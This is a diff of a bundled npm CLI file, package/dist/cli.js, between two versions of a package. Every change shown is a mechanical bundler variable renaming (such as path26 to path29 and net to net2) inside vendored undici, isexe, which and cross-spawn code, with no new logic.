@chosengeneration/light-code 0.2.0 → 0.9.0

package/dist/cli.js

@@ -1041,7 +1041,7 @@ var require_util = __commonJS({
     var { kDestroyed, kBodyUsed, kListeners, kBody } = require_symbols();
     var { IncomingMessage } = __require("node:http");
     var stream = __require("node:stream");
-    var net = __require("node:net");
+    var net2 = __require("node:net");
     var { stringify } = __require("node:querystring");
     var { EventEmitter: EE, addAbortListener: addAbortListenerNative } = __require("node:events");
     var timers = require_timers();
@@ -1143,14 +1143,14 @@ var require_util = __commonJS({
         }
         const port = url2.port != null ? url2.port : url2.protocol === "https:" ? 443 : 80;
         let origin = url2.origin != null ? url2.origin : `${url2.protocol || ""}//${url2.hostname || ""}:${port}`;
-        let path26 = url2.path != null ? url2.path : `${url2.pathname || ""}${url2.search || ""}`;
+        let path29 = url2.path != null ? url2.path : `${url2.pathname || ""}${url2.search || ""}`;
         if (origin[origin.length - 1] === "/") {
           origin = origin.slice(0, origin.length - 1);
         }
-        if (path26 && path26[0] !== "/") {
-          path26 = `/${path26}`;
+        if (path29 && path29[0] !== "/") {
+          path29 = `/${path29}`;
         }
-        return new URL(`${origin}${path26}`);
+        return new URL(`${origin}${path29}`);
       }
       if (!isHttpOrHttpsPrefixed(url2.origin || url2.protocol)) {
         throw new InvalidArgumentError("Invalid URL protocol: the URL must start with `http:` or `https:`.");
@@ -1180,7 +1180,7 @@ var require_util = __commonJS({
       }
       assert2(typeof host === "string");
       const servername = getHostname(host);
-      if (net.isIP(servername)) {
+      if (net2.isIP(servername)) {
         return "";
       }
       return servername;
@@ -2021,9 +2021,9 @@ var require_diagnostics = __commonJS({
         "undici:client:sendHeaders",
         (evt) => {
           const {
-            request: { method, path: path26, origin }
+            request: { method, path: path29, origin }
           } = evt;
-          debugLog("sending request to %s %s%s", method, origin, path26);
+          debugLog("sending request to %s %s%s", method, origin, path29);
         }
       );
     }
@@ -2041,14 +2041,14 @@ var require_diagnostics = __commonJS({
         "undici:request:headers",
         (evt) => {
           const {
-            request: { method, path: path26, origin },
+            request: { method, path: path29, origin },
             response: { statusCode }
           } = evt;
           debugLog(
             "received response to %s %s%s - HTTP %d",
             method,
             origin,
-            path26,
+            path29,
             statusCode
           );
         }
@@ -2057,23 +2057,23 @@ var require_diagnostics = __commonJS({
         "undici:request:trailers",
         (evt) => {
           const {
-            request: { method, path: path26, origin }
+            request: { method, path: path29, origin }
           } = evt;
-          debugLog("trailers received from %s %s%s", method, origin, path26);
+          debugLog("trailers received from %s %s%s", method, origin, path29);
         }
       );
       diagnosticsChannel.subscribe(
         "undici:request:error",
         (evt) => {
           const {
-            request: { method, path: path26, origin },
+            request: { method, path: path29, origin },
             error: error51
           } = evt;
           debugLog(
             "request to %s %s%s errored - %s",
             method,
             origin,
-            path26,
+            path29,
             error51.message
           );
         }
@@ -2228,7 +2228,7 @@ var require_request = __commonJS({
     };
     var Request = class {
       constructor(origin, {
-        path: path26,
+        path: path29,
         method,
         body,
         headers,
@@ -2245,11 +2245,11 @@ var require_request = __commonJS({
         maxRedirections,
         typeOfService
       }, handler) {
-        if (typeof path26 !== "string") {
+        if (typeof path29 !== "string") {
           throw new InvalidArgumentError("path must be a string");
-        } else if (path26[0] !== "/" && !(path26.startsWith("http://") || path26.startsWith("https://")) && method !== "CONNECT") {
+        } else if (path29[0] !== "/" && !(path29.startsWith("http://") || path29.startsWith("https://")) && method !== "CONNECT") {
           throw new InvalidArgumentError("path must be an absolute URL or start with a slash");
-        } else if (invalidPathRegex.test(path26)) {
+        } else if (invalidPathRegex.test(path29)) {
           throw new InvalidArgumentError("invalid request path");
         }
         if (typeof method !== "string") {
@@ -2324,7 +2324,7 @@ var require_request = __commonJS({
         this.completed = false;
         this.aborted = false;
         this.upgrade = upgrade || null;
-        this.path = query ? serializePathWithQuery(path26, query) : path26;
+        this.path = query ? serializePathWithQuery(path29, query) : path29;
         this.origin = origin;
         this.protocol = getProtocolFromUrlString(origin);
         this.idempotent = idempotent == null ? method === "HEAD" || method === "GET" || method === "QUERY" : idempotent;
@@ -2782,7 +2782,7 @@ var require_dispatcher_base = __commonJS({
 var require_connect = __commonJS({
   "../../node_modules/.pnpm/undici@8.10.0/node_modules/undici/lib/core/connect.js"(exports, module) {
     "use strict";
-    var net = __require("node:net");
+    var net2 = __require("node:net");
     var assert2 = __require("node:assert");
     var util = require_util();
     var { InvalidArgumentError, ConnectTimeoutError } = require_errors();
@@ -2873,7 +2873,7 @@ var require_connect = __commonJS({
             port,
             host: hostname3
           };
-          const family = net.isIP(hostname3);
+          const family = net2.isIP(hostname3);
           if (family !== 0 && servername && servername !== hostname3) {
             connectOptions.host = servername;
             connectOptions.lookup = (_hostname, lookupOptions, cb) => {
@@ -2884,7 +2884,7 @@ var require_connect = __commonJS({
               }
             };
           }
-          socket = net.connect(connectOptions);
+          socket = net2.connect(connectOptions);
           if (useH2c === true) {
             socket.alpnProtocol = "h2";
           }
@@ -7410,7 +7410,7 @@ var require_client_h1 = __commonJS({
       }
     }
     function writeH1(client, request) {
-      const { method, path: path26, host, upgrade, blocking, reset } = request;
+      const { method, path: path29, host, upgrade, blocking, reset } = request;
       let { body, headers, contentLength } = request;
       const expectsPayload = method === "PUT" || method === "POST" || method === "PATCH" || method === "QUERY" || method === "PROPFIND" || method === "PROPPATCH";
       if (util.isFormDataLike(body)) {
@@ -7486,7 +7486,7 @@ var require_client_h1 = __commonJS({
         socket[kBlocking] = true;
       }
       setTypeOfService(socket, request);
-      let header = `${method} ${path26} HTTP/1.1\r
+      let header = `${method} ${path29} HTTP/1.1\r
 `;
       if (typeof host === "string") {
         header += `host: ${host}\r
@@ -8567,7 +8567,7 @@ var require_client_h2 = __commonJS({
       const headersTimeout = request.headersTimeout ?? client[kHeadersTimeout];
       const bodyTimeout = request.bodyTimeout ?? client[kBodyTimeout];
       const session = client[kHTTP2Session];
-      const { method, path: path26, host, upgrade, expectContinue, signal, protocol, headers: reqHeaders } = request;
+      const { method, path: path29, host, upgrade, expectContinue, signal, protocol, headers: reqHeaders } = request;
       if (upgrade != null && upgrade !== "websocket") {
         util.errorRequest(client, request, new InvalidArgumentError(`Custom upgrade "${upgrade}" not supported over HTTP/2`));
         return false;
@@ -8630,7 +8630,7 @@ var require_client_h2 = __commonJS({
           }
           headers[HTTP2_HEADER_METHOD] = "CONNECT";
           headers[HTTP2_HEADER_PROTOCOL] = "websocket";
-          headers[HTTP2_HEADER_PATH] = path26;
+          headers[HTTP2_HEADER_PATH] = path29;
           if (protocol === "ws:" || protocol === "wss:") {
             headers[HTTP2_HEADER_SCHEME] = protocol === "ws:" ? "http" : "https";
           } else {
@@ -8652,7 +8652,7 @@ var require_client_h2 = __commonJS({
         setupUpgradeStream(stream, state);
         return true;
       }
-      headers[HTTP2_HEADER_PATH] = path26;
+      headers[HTTP2_HEADER_PATH] = path29;
       headers[HTTP2_HEADER_SCHEME] = protocol === "http:" ? "http" : "https";
       const expectsPayload = method === "PUT" || method === "POST" || method === "PATCH" || method === "QUERY" || method === "PROPFIND" || method === "PROPPATCH";
       let body = state.body;
@@ -9076,7 +9076,7 @@ var require_client = __commonJS({
   "../../node_modules/.pnpm/undici@8.10.0/node_modules/undici/lib/dispatcher/client.js"(exports, module) {
     "use strict";
     var assert2 = __require("node:assert");
-    var net = __require("node:net");
+    var net2 = __require("node:net");
     var http = __require("node:http");
     var util = require_util();
     var { ClientStats } = require_stats();
@@ -9245,7 +9245,7 @@ var require_client = __commonJS({
         if (maxRequestsPerClient != null && (!Number.isInteger(maxRequestsPerClient) || maxRequestsPerClient < 0)) {
           throw new InvalidArgumentError("maxRequestsPerClient must be a positive number");
         }
-        if (localAddress != null && (typeof localAddress !== "string" || net.isIP(localAddress) === 0)) {
+        if (localAddress != null && (typeof localAddress !== "string" || net2.isIP(localAddress) === 0)) {
           throw new InvalidArgumentError("localAddress must be valid string IP address");
         }
         if (maxResponseSize != null && (!Number.isInteger(maxResponseSize) || maxResponseSize < -1)) {
@@ -9463,7 +9463,7 @@ var require_client = __commonJS({
         const idx = hostname3.indexOf("]");
         assert2(idx !== -1);
         const ip = hostname3.substring(1, idx);
-        assert2(net.isIPv6(ip));
+        assert2(net2.isIPv6(ip));
         hostname3 = ip;
       }
       client[kConnecting] = true;
@@ -10551,10 +10551,10 @@ var require_socks5_utils = __commonJS({
   "../../node_modules/.pnpm/undici@8.10.0/node_modules/undici/lib/core/socks5-utils.js"(exports, module) {
     "use strict";
     var { Buffer: Buffer2 } = __require("node:buffer");
-    var net = __require("node:net");
+    var net2 = __require("node:net");
     var { InvalidArgumentError } = require_errors();
     function parseAddress(address) {
-      if (net.isIPv4(address)) {
+      if (net2.isIPv4(address)) {
         const parts = address.split(".").map(Number);
         return {
           type: 1,
@@ -10562,7 +10562,7 @@ var require_socks5_utils = __commonJS({
           buffer: Buffer2.from(parts)
         };
       }
-      if (net.isIPv6(address)) {
+      if (net2.isIPv6(address)) {
         return {
           type: 4,
           // IPv6
@@ -10585,7 +10585,7 @@ var require_socks5_utils = __commonJS({
       if (address.includes(".")) {
         const lastColonIndex = address.lastIndexOf(":");
         const ipv4Part = address.slice(lastColonIndex + 1);
-        if (net.isIPv4(ipv4Part)) {
+        if (net2.isIPv4(ipv4Part)) {
           const octets = ipv4Part.split(".").map(Number);
           const high = (octets[0] << 8 | octets[1]).toString(16);
           const low = (octets[2] << 8 | octets[3]).toString(16);
@@ -11322,10 +11322,10 @@ var require_proxy_agent = __commonJS({
         };
         const {
           origin,
-          path: path26 = "/",
+          path: path29 = "/",
           headers = {}
         } = opts;
-        opts.path = origin + path26;
+        opts.path = origin + path29;
         if (!("host" in headers) && !("Host" in headers)) {
           const { host } = new URL(origin);
           headers.host = host;
@@ -13590,20 +13590,20 @@ var require_mock_utils = __commonJS({
       }
       return normalizedQp;
     }
-    function safeUrl(path26) {
-      if (typeof path26 !== "string") {
-        return path26;
+    function safeUrl(path29) {
+      if (typeof path29 !== "string") {
+        return path29;
       }
-      const pathSegments = path26.split("?", 3);
+      const pathSegments = path29.split("?", 3);
       if (pathSegments.length !== 2) {
-        return path26;
+        return path29;
       }
       const qp = new URLSearchParams(pathSegments.pop());
       qp.sort();
       return [...pathSegments, qp.toString()].join("?");
     }
-    function matchKey(mockDispatch2, { path: path26, method, body, headers }) {
-      const pathMatch = matchValue(mockDispatch2.path, path26);
+    function matchKey(mockDispatch2, { path: path29, method, body, headers }) {
+      const pathMatch = matchValue(mockDispatch2.path, path29);
       const methodMatch = matchValue(mockDispatch2.method, method);
       const bodyMatch = typeof mockDispatch2.body !== "undefined" ? matchValue(mockDispatch2.body, body) : true;
       const headersMatch = matchHeaders(mockDispatch2, headers);
@@ -13630,8 +13630,8 @@ var require_mock_utils = __commonJS({
       const basePath = key.query ? serializePathWithQuery(key.path, key.query) : key.path;
       const resolvedPath = typeof basePath === "string" ? safeUrl(basePath) : basePath;
       const resolvedPathWithoutTrailingSlash = removeTrailingSlash(resolvedPath);
-      let matchedMockDispatches = mockDispatches.filter(({ consumed }) => !consumed).filter(({ path: path26, ignoreTrailingSlash }) => {
-        return ignoreTrailingSlash ? matchValue(removeTrailingSlash(safeUrl(path26)), resolvedPathWithoutTrailingSlash) : matchValue(safeUrl(path26), resolvedPath);
+      let matchedMockDispatches = mockDispatches.filter(({ consumed }) => !consumed).filter(({ path: path29, ignoreTrailingSlash }) => {
+        return ignoreTrailingSlash ? matchValue(removeTrailingSlash(safeUrl(path29)), resolvedPathWithoutTrailingSlash) : matchValue(safeUrl(path29), resolvedPath);
       });
       if (matchedMockDispatches.length === 0) {
         throw new MockNotMatchedError(`Mock dispatch not matched for path '${resolvedPath}'`);
@@ -13670,22 +13670,22 @@ var require_mock_utils = __commonJS({
         mockDispatches.splice(index, 1);
       }
     }
-    function removeTrailingSlash(path26) {
-      if (typeof path26 !== "string") {
-        return path26;
+    function removeTrailingSlash(path29) {
+      if (typeof path29 !== "string") {
+        return path29;
       }
-      while (path26.endsWith("/")) {
-        path26 = path26.slice(0, -1);
+      while (path29.endsWith("/")) {
+        path29 = path29.slice(0, -1);
       }
-      if (path26.length === 0) {
-        path26 = "/";
+      if (path29.length === 0) {
+        path29 = "/";
       }
-      return path26;
+      return path29;
     }
     function buildKey(opts) {
-      const { path: path26, method, body, headers, query } = opts;
+      const { path: path29, method, body, headers, query } = opts;
       return {
-        path: path26,
+        path: path29,
         method,
         body,
         headers,
@@ -14556,10 +14556,10 @@ var require_pending_interceptors_formatter = __commonJS({
       }
       format(pendingInterceptors) {
         const withPrettyHeaders = pendingInterceptors.map(
-          ({ method, path: path26, data: { statusCode }, persist, times, timesInvoked, origin }) => ({
+          ({ method, path: path29, data: { statusCode }, persist, times, timesInvoked, origin }) => ({
             Method: method,
             Origin: origin,
-            Path: path26,
+            Path: path29,
             "Status code": statusCode,
             Persistent: persist ? PERSISTENT : NOT_PERSISTENT,
             Invocations: timesInvoked,
@@ -14641,9 +14641,9 @@ var require_mock_agent = __commonJS({
         const acceptNonStandardSearchParameters = this[kMockAgentAcceptsNonStandardSearchParameters];
         const dispatchOpts = { ...opts };
         if (acceptNonStandardSearchParameters && dispatchOpts.path) {
-          const [path26, searchParams] = dispatchOpts.path.split("?");
+          const [path29, searchParams] = dispatchOpts.path.split("?");
           const normalizedSearchParams = normalizeSearchParams(searchParams, acceptNonStandardSearchParameters);
-          dispatchOpts.path = `${path26}?${normalizedSearchParams}`;
+          dispatchOpts.path = `${path29}?${normalizedSearchParams}`;
         }
         return this[kAgent].dispatch(dispatchOpts, handler);
       }
@@ -14771,8 +14771,8 @@ var require_snapshot_utils = __commonJS({
         match: new Set(matchHeaders.map((header) => caseSensitive ? header : header.toLowerCase()))
       };
     }
-    var crypto6 = runtimeFeatures.has("crypto") ? __require("node:crypto") : null;
-    var hashId = crypto6?.hash ? (value) => crypto6.hash("sha256", value, "base64url") : (value) => Buffer.from(value).toString("base64url");
+    var crypto7 = runtimeFeatures.has("crypto") ? __require("node:crypto") : null;
+    var hashId = crypto7?.hash ? (value) => crypto7.hash("sha256", value, "base64url") : (value) => Buffer.from(value).toString("base64url");
     function isUndiciHeaders(headers) {
       return Array.isArray(headers) && (headers.length & 1) === 0;
     }
@@ -15059,12 +15059,12 @@ var require_snapshot_recorder = __commonJS({
        * @return {Promise<void>} - Resolves when snapshots are loaded
        */
       async loadSnapshots(filePath) {
-        const path26 = filePath || this.#snapshotPath;
-        if (!path26) {
+        const path29 = filePath || this.#snapshotPath;
+        if (!path29) {
           throw new InvalidArgumentError("Snapshot path is required");
         }
         try {
-          const data = await readFile2(resolve(path26), "utf8");
+          const data = await readFile2(resolve(path29), "utf8");
           const parsed = JSON.parse(data);
           if (Array.isArray(parsed)) {
             this.#snapshots.clear();
@@ -15078,7 +15078,7 @@ var require_snapshot_recorder = __commonJS({
           if (error51.code === "ENOENT") {
             this.#snapshots.clear();
           } else {
-            throw new UndiciError(`Failed to load snapshots from ${path26}`, { cause: error51 });
+            throw new UndiciError(`Failed to load snapshots from ${path29}`, { cause: error51 });
           }
         }
       }
@@ -15089,11 +15089,11 @@ var require_snapshot_recorder = __commonJS({
        * @returns {Promise<void>} - Resolves when snapshots are saved
        */
       async saveSnapshots(filePath) {
-        const path26 = filePath || this.#snapshotPath;
-        if (!path26) {
+        const path29 = filePath || this.#snapshotPath;
+        if (!path29) {
           throw new InvalidArgumentError("Snapshot path is required");
         }
-        const resolvedPath = resolve(path26);
+        const resolvedPath = resolve(path29);
         await mkdir(dirname(resolvedPath), { recursive: true });
         const data = Array.from(this.#snapshots.entries()).map(([hash2, snapshot]) => ({
           hash: hash2,
@@ -15730,15 +15730,15 @@ var require_redirect_handler = __commonJS({
           return;
         }
         const { origin, pathname, search } = util.parseURL(new URL(this.location, this.opts.origin && new URL(this.opts.path, this.opts.origin)));
-        const path26 = search ? `${pathname}${search}` : pathname;
-        const redirectUrlString = `${origin}${path26}`;
+        const path29 = search ? `${pathname}${search}` : pathname;
+        const redirectUrlString = `${origin}${path29}`;
         for (const historyUrl of this.history) {
           if (historyUrl.toString() === redirectUrlString) {
             throw new InvalidArgumentError(`Redirect loop detected. Cannot redirect to ${origin}. This typically happens when using a Client or Pool with cross-origin redirects. Use an Agent for cross-origin redirects.`);
           }
         }
         this.opts.headers = cleanRequestHeaders(this.opts.headers, removeContentHeaders, this.opts.origin !== origin, this.stripHeadersOnRedirect, this.stripHeadersOnCrossOriginRedirect);
-        this.opts.path = path26;
+        this.opts.path = path29;
         this.opts.origin = origin;
         this.opts.query = null;
       }
@@ -17566,10 +17566,10 @@ var require_cache_handler = __commonJS({
       }
       return locationUrl.pathname + locationUrl.search;
     }
-    function deleteCachedUri(store, cacheKey, path26) {
+    function deleteCachedUri(store, cacheKey, path29) {
       deleteCachedValue(store, {
         ...cacheKey,
-        path: path26
+        path: path29
       });
       for (let i = 0; i < util.safeHTTPMethods.length; i++) {
         const method = util.safeHTTPMethods[i];
@@ -17577,7 +17577,7 @@ var require_cache_handler = __commonJS({
           deleteCachedValue(store, {
             ...cacheKey,
             method,
-            path: path26
+            path: path29
           });
         }
       }
@@ -17588,9 +17588,9 @@ var require_cache_handler = __commonJS({
       }
       const values = Array.isArray(headerValue) ? headerValue : [headerValue];
       for (let i = 0; i < values.length; i++) {
-        const path26 = getSameOriginPath(cacheKey, values[i]);
-        if (path26 !== void 0) {
-          deleteCachedUri(store, cacheKey, path26);
+        const path29 = getSameOriginPath(cacheKey, values[i]);
+        if (path29 !== void 0) {
+          deleteCachedUri(store, cacheKey, path29);
         }
       }
     }
@@ -21463,10 +21463,10 @@ var require_subresource_integrity = __commonJS({
     var assert2 = __require("node:assert");
     var { runtimeFeatures } = require_runtime_features();
     var validSRIHashAlgorithmTokenSet = /* @__PURE__ */ new Map([["sha256", 0], ["sha384", 1], ["sha512", 2]]);
-    var crypto6;
+    var crypto7;
     if (runtimeFeatures.has("crypto")) {
-      crypto6 = __require("node:crypto");
-      const cryptoHashes = crypto6.getHashes();
+      crypto7 = __require("node:crypto");
+      const cryptoHashes = crypto7.getHashes();
       if (cryptoHashes.length === 0) {
         validSRIHashAlgorithmTokenSet.clear();
       }
@@ -21556,7 +21556,7 @@ var require_subresource_integrity = __commonJS({
       return result;
     }
     var applyAlgorithmToBytes = (algorithm, bytes) => {
-      return crypto6.hash(algorithm, bytes, "base64");
+      return crypto7.hash(algorithm, bytes, "base64");
     };
     function caseSensitiveMatch(actualValue, expectedValue) {
       let actualValueLength = actualValue.length;
@@ -22587,13 +22587,13 @@ var require_fetch = __commonJS({
       function dispatch({ body }) {
         const url2 = requestCurrentURL(request);
         const agent = fetchParams.controller.dispatcher;
-        const path26 = url2.pathname + url2.search;
+        const path29 = url2.pathname + url2.search;
         const hasTrailingQuestionMark = url2.search.length === 0 && url2.href[url2.href.length - url2.hash.length - 1] === "?";
         return dispatchWithProtocolPreference(body);
         function dispatchWithProtocolPreference(body2, allowH2) {
           return new Promise((resolve, reject2) => agent.dispatch(
             {
-              path: hasTrailingQuestionMark ? `${path26}?` : path26,
+              path: hasTrailingQuestionMark ? `${path29}?` : path29,
               origin: url2.origin,
               method: request.method,
               body: agent.isMockActive ? request.body && (request.body.source || request.body.stream) : body2,
@@ -23505,9 +23505,9 @@ var require_util4 = __commonJS({
         }
       }
     }
-    function validateCookiePath(path26) {
-      for (let i = 0; i < path26.length; ++i) {
-        const code = path26.charCodeAt(i);
+    function validateCookiePath(path29) {
+      for (let i = 0; i < path29.length; ++i) {
+        const code = path29.charCodeAt(i);
         if (code < 32 || // exclude CTLs (0-31)
         code > 126 || // exclude non-ascii and DEL
         code === 59) {
@@ -24539,7 +24539,7 @@ var require_connection = __commonJS({
     var { WebsocketFrameSend } = require_frame();
     var assert2 = __require("node:assert");
     var { runtimeFeatures } = require_runtime_features();
-    var crypto6 = runtimeFeatures.has("crypto") ? __require("node:crypto") : null;
+    var crypto7 = runtimeFeatures.has("crypto") ? __require("node:crypto") : null;
     var warningEmitted = false;
     function establishWebSocketConnection(url2, protocols, client, handler, options) {
       const requestURL = url2;
@@ -24559,7 +24559,7 @@ var require_connection = __commonJS({
         const headersList = getHeadersList(new Headers2(options.headers));
         request.headersList = headersList;
       }
-      const keyValue = crypto6.randomBytes(16).toString("base64");
+      const keyValue = crypto7.randomBytes(16).toString("base64");
       request.headersList.append("sec-websocket-key", keyValue, true);
       request.headersList.append("sec-websocket-version", "13", true);
       for (const protocol of protocols) {
@@ -24599,7 +24599,7 @@ var require_connection = __commonJS({
             return;
           }
           const secWSAccept = response.headersList.get("Sec-WebSocket-Accept");
-          const digest = crypto6.hash("sha1", keyValue + uid, "base64");
+          const digest = crypto7.hash("sha1", keyValue + uid, "base64");
           if (secWSAccept !== digest) {
             failWebsocketConnection(handler, 1002, "Incorrect hash received in Sec-WebSocket-Accept header.");
             return;
@@ -26879,11 +26879,11 @@ var require_undici = __commonJS({
           if (typeof opts.path !== "string") {
             throw new InvalidArgumentError("invalid opts.path");
           }
-          let path26 = opts.path;
+          let path29 = opts.path;
           if (!opts.path.startsWith("/")) {
-            path26 = `/${path26}`;
+            path29 = `/${path29}`;
           }
-          url2 = new URL(util.parseOrigin(url2).origin + path26);
+          url2 = new URL(util.parseOrigin(url2).origin + path29);
         } else {
           if (!opts) {
             opts = typeof url2 === "object" ? url2 : {};
@@ -30188,8 +30188,8 @@ var require_utils2 = __commonJS({
       }
       return ind;
     }
-    function removeDotSegments(path26) {
-      let input = path26;
+    function removeDotSegments(path29) {
+      let input = path29;
       const output = [];
       let nextSlash = -1;
       let len = 0;
@@ -30441,8 +30441,8 @@ var require_schemes = __commonJS({
         wsComponent.secure = void 0;
       }
       if (wsComponent.resourceName) {
-        const [path26, query] = wsComponent.resourceName.split("?");
-        wsComponent.path = path26 && path26 !== "/" ? path26 : void 0;
+        const [path29, query] = wsComponent.resourceName.split("?");
+        wsComponent.path = path29 && path29 !== "/" ? path29 : void 0;
         wsComponent.query = query;
         wsComponent.resourceName = void 0;
       }
@@ -33841,12 +33841,12 @@ var require_dist = __commonJS({
         throw new Error(`Unknown format "${name}"`);
       return f;
     };
-    function addFormats(ajv, list, fs20, exportName) {
+    function addFormats(ajv, list, fs23, exportName) {
       var _a3;
       var _b;
       (_a3 = (_b = ajv.opts.code).formats) !== null && _a3 !== void 0 ? _a3 : _b.formats = (0, codegen_1._)`require("ajv-formats/dist/formats").${exportName}`;
       for (const f of list)
-        ajv.addFormat(f, fs20[f]);
+        ajv.addFormat(f, fs23[f]);
     }
     module.exports = exports = formatsPlugin;
     Object.defineProperty(exports, "__esModule", { value: true });
@@ -33859,8 +33859,8 @@ var require_windows = __commonJS({
   "../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/windows.js"(exports, module) {
     module.exports = isexe;
     isexe.sync = sync;
-    var fs20 = __require("fs");
-    function checkPathExt(path26, options) {
+    var fs23 = __require("fs");
+    function checkPathExt(path29, options) {
       var pathext = options.pathExt !== void 0 ? options.pathExt : process.env.PATHEXT;
       if (!pathext) {
         return true;
@@ -33871,25 +33871,25 @@ var require_windows = __commonJS({
       }
       for (var i = 0; i < pathext.length; i++) {
         var p = pathext[i].toLowerCase();
-        if (p && path26.substr(-p.length).toLowerCase() === p) {
+        if (p && path29.substr(-p.length).toLowerCase() === p) {
           return true;
         }
       }
       return false;
     }
-    function checkStat(stat, path26, options) {
+    function checkStat(stat, path29, options) {
       if (!stat.isSymbolicLink() && !stat.isFile()) {
         return false;
       }
-      return checkPathExt(path26, options);
+      return checkPathExt(path29, options);
     }
-    function isexe(path26, options, cb) {
-      fs20.stat(path26, function(er, stat) {
-        cb(er, er ? false : checkStat(stat, path26, options));
+    function isexe(path29, options, cb) {
+      fs23.stat(path29, function(er, stat) {
+        cb(er, er ? false : checkStat(stat, path29, options));
       });
     }
-    function sync(path26, options) {
-      return checkStat(fs20.statSync(path26), path26, options);
+    function sync(path29, options) {
+      return checkStat(fs23.statSync(path29), path29, options);
     }
   }
 });
@@ -33899,14 +33899,14 @@ var require_mode = __commonJS({
   "../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/mode.js"(exports, module) {
     module.exports = isexe;
     isexe.sync = sync;
-    var fs20 = __require("fs");
-    function isexe(path26, options, cb) {
-      fs20.stat(path26, function(er, stat) {
+    var fs23 = __require("fs");
+    function isexe(path29, options, cb) {
+      fs23.stat(path29, function(er, stat) {
         cb(er, er ? false : checkStat(stat, options));
       });
     }
-    function sync(path26, options) {
-      return checkStat(fs20.statSync(path26), options);
+    function sync(path29, options) {
+      return checkStat(fs23.statSync(path29), options);
     }
     function checkStat(stat, options) {
       return stat.isFile() && checkMode(stat, options);
@@ -33930,7 +33930,7 @@ var require_mode = __commonJS({
 // ../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/index.js
 var require_isexe = __commonJS({
   "../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/index.js"(exports, module) {
-    var fs20 = __require("fs");
+    var fs23 = __require("fs");
     var core;
     if (process.platform === "win32" || global.TESTING_WINDOWS) {
       core = require_windows();
@@ -33939,7 +33939,7 @@ var require_isexe = __commonJS({
     }
     module.exports = isexe;
     isexe.sync = sync;
-    function isexe(path26, options, cb) {
+    function isexe(path29, options, cb) {
       if (typeof options === "function") {
         cb = options;
         options = {};
@@ -33949,7 +33949,7 @@ var require_isexe = __commonJS({
           throw new TypeError("callback not provided");
         }
         return new Promise(function(resolve, reject2) {
-          isexe(path26, options || {}, function(er, is) {
+          isexe(path29, options || {}, function(er, is) {
             if (er) {
               reject2(er);
             } else {
@@ -33958,7 +33958,7 @@ var require_isexe = __commonJS({
           });
         });
       }
-      core(path26, options || {}, function(er, is) {
+      core(path29, options || {}, function(er, is) {
         if (er) {
           if (er.code === "EACCES" || options && options.ignoreErrors) {
             er = null;
@@ -33968,9 +33968,9 @@ var require_isexe = __commonJS({
         cb(er, is);
       });
     }
-    function sync(path26, options) {
+    function sync(path29, options) {
       try {
-        return core.sync(path26, options || {});
+        return core.sync(path29, options || {});
       } catch (er) {
         if (options && options.ignoreErrors || er.code === "EACCES") {
           return false;
@@ -33986,7 +33986,7 @@ var require_isexe = __commonJS({
 var require_which = __commonJS({
   "../../node_modules/.pnpm/which@2.0.2/node_modules/which/which.js"(exports, module) {
     var isWindows = process.platform === "win32" || process.env.OSTYPE === "cygwin" || process.env.OSTYPE === "msys";
-    var path26 = __require("path");
+    var path29 = __require("path");
     var COLON = isWindows ? ";" : ":";
     var isexe = require_isexe();
     var getNotFoundError = (cmd) => Object.assign(new Error(`not found: ${cmd}`), { code: "ENOENT" });
@@ -34024,7 +34024,7 @@ var require_which = __commonJS({
           return opt.all && found.length ? resolve(found) : reject2(getNotFoundError(cmd));
         const ppRaw = pathEnv[i];
         const pathPart = /^".*"$/.test(ppRaw) ? ppRaw.slice(1, -1) : ppRaw;
-        const pCmd = path26.join(pathPart, cmd);
+        const pCmd = path29.join(pathPart, cmd);
         const p = !pathPart && /^\.[\\\/]/.test(cmd) ? cmd.slice(0, 2) + pCmd : pCmd;
         resolve(subStep(p, i, 0));
       });
@@ -34051,7 +34051,7 @@ var require_which = __commonJS({
       for (let i = 0; i < pathEnv.length; i++) {
         const ppRaw = pathEnv[i];
         const pathPart = /^".*"$/.test(ppRaw) ? ppRaw.slice(1, -1) : ppRaw;
-        const pCmd = path26.join(pathPart, cmd);
+        const pCmd = path29.join(pathPart, cmd);
         const p = !pathPart && /^\.[\\\/]/.test(cmd) ? cmd.slice(0, 2) + pCmd : pCmd;
         for (let j = 0; j < pathExt.length; j++) {
           const cur = p + pathExt[j];
@@ -34099,7 +34099,7 @@ var require_path_key = __commonJS({
 var require_resolveCommand = __commonJS({
   "../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/util/resolveCommand.js"(exports, module) {
     "use strict";
-    var path26 = __require("path");
+    var path29 = __require("path");
     var which = require_which();
     var getPathKey = require_path_key();
     function resolveCommandAttempt(parsed, withoutPathExt) {
@@ -34117,7 +34117,7 @@ var require_resolveCommand = __commonJS({
       try {
         resolved = which.sync(parsed.command, {
           path: env2[getPathKey({ env: env2 })],
-          pathExt: withoutPathExt ? path26.delimiter : void 0
+          pathExt: withoutPathExt ? path29.delimiter : void 0
         });
       } catch (e) {
       } finally {
@@ -34126,7 +34126,7 @@ var require_resolveCommand = __commonJS({
         }
       }
       if (resolved) {
-        resolved = path26.resolve(hasCustomCwd ? parsed.options.cwd : "", resolved);
+        resolved = path29.resolve(hasCustomCwd ? parsed.options.cwd : "", resolved);
       }
       return resolved;
     }
@@ -34180,8 +34180,8 @@ var require_shebang_command = __commonJS({
       if (!match) {
         return null;
       }
-      const [path26, argument] = match[0].replace(/#! ?/, "").split(" ");
-      const binary = path26.split("/").pop();
+      const [path29, argument] = match[0].replace(/#! ?/, "").split(" ");
+      const binary = path29.split("/").pop();
       if (binary === "env") {
         return argument;
       }
@@ -34194,16 +34194,16 @@ var require_shebang_command = __commonJS({
 var require_readShebang = __commonJS({
   "../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/util/readShebang.js"(exports, module) {
     "use strict";
-    var fs20 = __require("fs");
+    var fs23 = __require("fs");
     var shebangCommand = require_shebang_command();
     function readShebang(command) {
       const size = 150;
       const buffer = Buffer.alloc(size);
       let fd;
       try {
-        fd = fs20.openSync(command, "r");
-        fs20.readSync(fd, buffer, 0, size, 0);
-        fs20.closeSync(fd);
+        fd = fs23.openSync(command, "r");
+        fs23.readSync(fd, buffer, 0, size, 0);
+        fs23.closeSync(fd);
       } catch (e) {
       }
       return shebangCommand(buffer.toString());
@@ -34216,7 +34216,7 @@ var require_readShebang = __commonJS({
 var require_parse2 = __commonJS({
